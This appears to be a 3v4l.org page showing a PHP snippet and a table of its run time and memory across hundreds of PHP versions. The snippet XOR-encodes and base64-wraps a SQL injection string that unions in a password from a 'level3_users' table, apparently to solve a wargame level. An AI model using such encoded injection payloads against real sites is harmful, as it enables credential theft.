3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union select 1,2,3,4 password from level3_users where user='Admin' LIMIT 1")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.63
8.3.50.0260.00322.03
8.3.40.0150.00018.81
8.3.30.0000.01419.04
8.3.20.0040.00420.24
8.3.10.0070.00023.61
8.3.00.0060.00320.77
8.2.180.0070.01116.38
8.2.170.0080.00822.96
8.2.160.0100.00320.37
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0080.00019.48
8.2.110.0040.00422.11
8.2.100.0060.00617.91
8.2.90.0000.00819.17
8.2.80.0000.00817.97
8.2.70.0030.00717.50
8.2.60.0030.00517.93
8.2.50.0000.00918.07
8.2.40.0000.01118.14
8.2.30.0040.00418.41
8.2.20.0070.00017.84
8.2.10.0040.00418.16
8.2.00.0000.00719.40
8.1.280.0080.00625.92
8.1.270.0040.00423.91
8.1.260.0050.00226.35
8.1.250.0070.00028.09
8.1.240.0080.00422.14
8.1.230.0110.00019.14
8.1.220.0080.00017.74
8.1.210.0040.00418.77
8.1.200.0100.00017.36
8.1.190.0000.00817.22
8.1.180.0040.00418.10
8.1.170.0030.00518.59
8.1.160.0000.00721.94
8.1.150.0030.00518.64
8.1.140.0000.00717.43
8.1.130.0000.00717.74
8.1.120.0040.00417.50
8.1.110.0050.00317.50
8.1.100.0000.00717.27
8.1.90.0000.00817.34
8.1.80.0040.00717.39
8.1.70.0040.00417.35
8.1.60.0040.00417.50
8.1.50.0040.00417.52
8.1.40.0000.00817.54
8.1.30.0000.00917.58
8.1.20.0050.00217.69
8.1.10.0080.00017.48
8.1.00.0040.00417.35
8.0.300.0040.00418.77
8.0.290.0000.00816.63
8.0.280.0050.00218.58
8.0.270.0020.00517.19
8.0.260.0000.00617.29
8.0.250.0030.00316.89
8.0.240.0000.00816.98
8.0.230.0000.00717.04
8.0.220.0060.00016.87
8.0.210.0080.00016.88
8.0.200.0030.00316.91
8.0.190.0000.00817.00
8.0.180.0050.00216.87
8.0.170.0000.00916.79
8.0.160.0040.00416.91
8.0.150.0030.00716.86
8.0.140.0030.00616.91
8.0.130.0000.00513.41
8.0.120.0040.00416.84
8.0.110.0000.00717.00
8.0.100.0000.00816.88
8.0.90.0000.00816.97
8.0.80.0030.01316.91
8.0.70.0060.00316.96
8.0.60.0000.00716.92
8.0.50.0040.00416.73
8.0.30.0140.00717.08
8.0.20.0130.00617.40
8.0.10.0000.00717.01
8.0.00.0110.00816.84
7.4.330.0070.00015.09
7.4.320.0030.00316.38
7.4.300.0030.00316.56
7.4.290.0000.00716.63
7.4.280.0040.00416.39
7.4.270.0000.00716.58
7.4.260.0030.00316.64
7.4.250.0040.00416.53
7.4.240.0030.00416.61
7.4.230.0040.00416.57
7.4.220.0120.00616.62
7.4.210.0070.01416.52
7.4.200.0000.00816.45
7.4.160.0130.00316.71
7.4.150.0130.00317.40
7.4.140.0080.00817.86
7.4.130.0080.00816.55
7.4.120.0090.00716.64
7.4.110.0000.01716.40
7.4.100.0000.01616.52
7.4.90.0060.01216.61
7.4.80.0000.02219.39
7.4.70.0100.01316.50
7.4.60.0080.00816.62
7.4.50.0040.00416.65
7.4.40.0130.00316.54
7.4.30.0000.01616.42
7.4.00.0050.01114.94
7.3.330.0070.00013.19
7.3.320.0000.00613.25
7.3.310.0070.00016.44
7.3.300.0030.00316.25
7.3.290.0140.01016.39
7.3.280.0100.00916.45
7.3.270.0030.01417.40
7.3.260.0090.00916.57
7.3.250.0090.00816.50
7.3.240.0090.00916.53
7.3.230.0110.00816.39
7.3.210.0150.00316.72
7.3.200.0170.00319.39
7.3.190.0060.01116.51
7.3.180.0160.00616.49
7.3.170.0030.01316.49
7.3.160.0080.00816.45
7.3.120.0070.01215.07
7.3.110.0030.01414.75
7.3.100.0070.00714.86
7.3.90.0090.00915.10
7.3.80.0090.00614.96
7.3.70.0080.00414.66
7.3.60.0130.00314.73
7.3.50.0000.01114.63
7.3.40.0130.00014.89
7.3.30.0100.00314.80
7.3.20.0070.00316.51
7.3.10.0030.01016.95
7.3.00.0100.00616.66
7.2.330.0070.01216.71
7.2.320.0040.01416.54
7.2.310.0100.00716.79
7.2.300.0110.00616.72
7.2.290.0060.01216.43
7.2.250.0090.00915.33
7.2.240.0070.01314.89
7.2.230.0070.00714.96
7.2.220.0060.01314.87
7.2.210.0070.00714.78
7.2.200.0130.00315.26
7.2.190.0100.00714.85
7.2.180.0100.00315.05
7.2.170.0090.00315.28
7.2.60.0040.01116.85
7.2.00.0060.00619.28
7.1.330.0050.00515.82
7.1.320.0030.01015.54
7.1.310.0080.00616.00
7.1.300.0030.00715.55
7.1.290.0060.00615.48
7.1.280.0000.01215.99
7.1.270.0030.00615.67
7.1.260.0050.00515.54
7.1.200.0080.00415.58
7.1.100.0030.00618.04
7.1.70.0030.00616.78
7.1.60.0040.00819.70
7.1.50.0180.00716.85
7.1.00.0030.07722.48
7.0.200.0030.00616.61
7.0.140.0030.07322.08
7.0.60.0130.07319.93
7.0.50.0000.04017.79
7.0.40.0000.05020.09
7.0.30.0200.06720.26
7.0.20.0270.06720.24
7.0.10.0270.05720.07
7.0.00.0100.04320.07
5.6.280.0030.07320.83
5.6.210.0070.07720.49
5.6.200.0070.04718.20
5.6.190.0030.09020.52
5.6.180.0100.07720.57
5.6.170.0330.04720.55
5.6.160.0100.08720.71
5.6.150.0070.07718.23
5.6.140.0030.08318.18
5.6.130.0030.04718.15
5.6.120.0070.08321.00
5.6.110.0030.07321.02
5.6.100.0030.05021.12
5.6.90.0170.07021.11
5.6.80.0070.07320.35
5.6.70.0270.04320.40
5.5.350.0070.07320.45
5.5.340.0030.04318.04
5.5.330.0130.07320.40
5.5.320.0230.05020.19
5.5.310.0270.07020.36
5.5.300.0030.04317.93
5.5.290.0100.07017.98
5.5.280.0030.04720.89
5.5.270.0070.03720.85
5.5.260.0230.07020.89
5.5.250.0070.08320.47
5.5.240.0270.06720.20
5.4.450.0230.07019.28
5.4.440.0230.08019.20
5.4.430.0230.06319.54
5.4.420.0200.03719.38
5.4.410.0170.07719.20
5.4.400.0230.04719.10
5.4.390.0270.03319.16
5.4.380.0170.03719.13
5.4.370.0300.06718.95
5.4.360.0400.05319.13
5.4.350.0300.04719.07
5.4.340.0270.07019.31
5.4.320.0400.05719.08
5.4.310.0270.06018.86
5.4.300.0270.06019.05
5.4.290.0270.05319.31
5.4.280.0200.08018.98
5.4.270.0200.04319.06
5.4.260.0230.04019.10
5.4.250.0330.06019.07
5.4.240.0230.04019.16
5.4.230.0200.05019.08
5.4.220.0300.04318.87
5.4.210.0230.05319.31
5.4.200.0200.06318.94
5.4.190.0300.06719.22
5.4.180.0300.03719.15
5.4.170.0230.04719.07
5.4.160.0170.04319.20
5.4.150.0300.07319.18
5.4.140.0230.05316.57
5.4.130.0230.04716.32
5.4.120.0270.06316.71
5.4.110.0270.05716.50
5.4.100.0170.04716.29
5.4.90.0270.06716.61
5.4.80.0270.06716.59
5.4.70.0200.04716.31
5.4.60.0330.06316.35
5.4.50.0170.04716.52
5.4.40.0370.05316.55
5.4.30.0300.06716.25
5.4.20.0300.04316.23
5.4.10.0370.06316.50
5.4.00.0330.06715.95
5.3.290.0270.07314.75
5.3.280.0300.06314.64
5.3.270.0230.03714.77
5.3.260.0270.04314.52
5.3.250.0230.07314.67
5.3.240.0230.07714.53
5.3.230.0230.05314.82
5.3.220.0300.05714.54
5.3.210.0300.07314.81
5.3.200.0270.05014.50
5.3.190.0230.05714.62
5.3.180.0170.06014.67
5.3.170.0430.03714.54
5.3.160.0270.04014.58
5.3.150.0230.04014.57
5.3.140.0230.04714.59
5.3.130.0230.04714.53
5.3.120.0330.06314.46
5.3.110.0300.07314.63
5.3.100.0270.07014.10
5.3.90.0270.03314.08
5.3.80.0230.05014.14
5.3.70.0370.05013.95
5.3.60.0230.03713.93
5.3.50.0370.06314.04
5.3.40.0330.06714.11
5.3.30.0270.06713.81
5.3.20.0230.06713.78
5.3.10.0370.05713.67
5.3.00.0330.05713.72
5.2.170.0230.04711.89
5.2.160.0170.06011.89
5.2.150.0170.04311.89
5.2.140.0230.04711.89
5.2.130.0270.04711.89
5.2.120.0130.03311.89
5.2.110.0230.05011.89
5.2.100.0200.04711.89
5.2.90.0170.04311.89
5.2.80.0130.05011.89
5.2.70.0230.05011.89
5.2.60.0200.06011.89
5.2.50.0270.05311.89
5.2.40.0200.03711.89
5.2.30.0130.05311.89
5.2.20.0130.03711.89
5.2.10.0200.03011.89
5.2.00.0200.06011.89
5.1.60.0170.02011.89
5.1.50.0200.03011.89
5.1.40.0100.03711.89
5.1.30.0170.04011.89
5.1.20.0170.04011.89
5.1.10.0170.04711.89
5.1.00.0170.03311.89
5.0.50.0070.03711.89
5.0.40.0100.04011.89
5.0.30.0030.07011.89
5.0.20.0130.03011.89
5.0.10.0130.03311.89
5.0.00.0100.06011.89
4.4.90.0100.02011.89
4.4.80.0030.03711.89
4.4.70.0030.03711.89
4.4.60.0100.01311.89
4.4.50.0130.02011.89
4.4.40.0070.03711.89
4.4.30.0070.03711.89
4.4.20.0030.02311.89
4.4.10.0030.03711.89
4.4.00.0030.04011.89
4.3.110.0070.04011.89
4.3.100.0070.03011.89
4.3.90.0130.03311.89
4.3.80.0030.04711.89
4.3.70.0170.03011.89
4.3.60.0100.03011.89
4.3.50.0070.03011.89
4.3.40.0100.04011.89
4.3.30.0030.03011.89
4.3.20.0030.03711.89
4.3.10.0030.03711.89
4.3.00.0030.02311.89

preferences:
35.2 ms | 401 KiB | 5 Q